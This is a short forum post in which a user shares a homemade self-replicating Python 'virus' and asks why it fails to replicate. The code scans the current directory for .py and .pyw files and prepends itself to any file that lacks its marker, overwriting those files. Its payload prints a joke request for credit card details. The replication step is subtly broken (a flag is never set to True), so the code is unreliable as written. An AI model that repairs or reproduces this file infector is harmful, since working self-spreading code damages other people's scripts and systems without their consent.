Nov-16-2020, 08:24 AM
Hello i have coded this :
### start of virus ### import sys, glob code=[] with open(sys.argv[0], 'r') as f: lines= f.readlines() virus_area=False for line in lines: if line =='### start of virus ###\n': virus_area=False if virus_area: code.append(line) if line =='### end of virus ###\n': break python_scripts=glob.glob('*.py') + glob.glob('*.pyw') for script in python_scripts: with open(script,'r') as f: script_code=f.readlines() infected=False for line in script_code: if line=='### start of virus ###\n': infected=True break if not infected: final_code=[] final_code.extend(code) final_code.extend('\n') final_code.extend(script_code) with open(script,'w') as f: f.writelines(final_code) #malicious piece of code (payload) print("Hello,I am a poorman's virus so please send your credit card info since I can't do anything else but replicate and say this",) ### end of virus ###its suppose to replicate but it dosn't and it just add lines to my other scripts